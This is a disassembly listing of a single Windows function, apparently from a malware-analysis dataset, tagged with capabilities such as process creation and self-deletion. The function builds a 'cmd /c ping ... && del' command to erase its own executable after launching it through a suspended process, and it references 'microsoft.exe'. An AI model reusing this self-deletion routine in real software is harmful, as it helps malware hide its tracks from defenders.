Function at 0x10005309
Capabilities:
Create process on windows
Create process suspended
Get comspec environment variable
Query environment variable
Resume thread
Self delete
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x370
push edi
push 0x10031b48
call fcn.10003c2c
add esp, 4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10031b50
call fcn.10003bc9
add esp, 4
push 0
push 0x10031b80
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
mov ecx, esp
mov dword [ebp - 0x364], esp
push 0x10031bb0
call fcn.1002130b
mov dword [ebp - 0x36c], eax
call fcn.1000514c
add esp, 4
push ecx
mov ecx, esp
mov dword [ebp - 0x368], esp
push str.microsoft.exe
call fcn.1002130b
mov dword [ebp - 0x370], eax
call fcn.1000514c
add esp, 4
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x100053b1
xor eax, eax
jmp 0x1000553f
push 0x104
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
jne 0x100053d5
xor eax, eax
jmp 0x1000553f
push 0x104
lea eax, [ebp - 0x360]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x100053f7
xor eax, eax
jmp 0x1000553f
push 0x80
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.__c_ping__n_2_127.0.0.1___nul__del
lea edx, [ebp - 0x25c]
push edx
call fcn.10012370
add esp, 8
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x25c]
push ecx
call fcn.10012380
add esp, 8
push str.___nul
lea edx, [ebp - 0x25c]
push edx
call fcn.10012380
add esp, 8
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x360]
push ecx
call fcn.10012380
add esp, 8
mov dword [ebp - 0x158], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x154]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], 0
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x158], 0x44
mov dword [ebp - 0x12c], 1
mov word [ebp - 0x128], 0
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x158]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x360]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10005519
push 0x40
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xfffffffffffffff1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x1000553f
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
mov esp, ebp
pop ebp
ret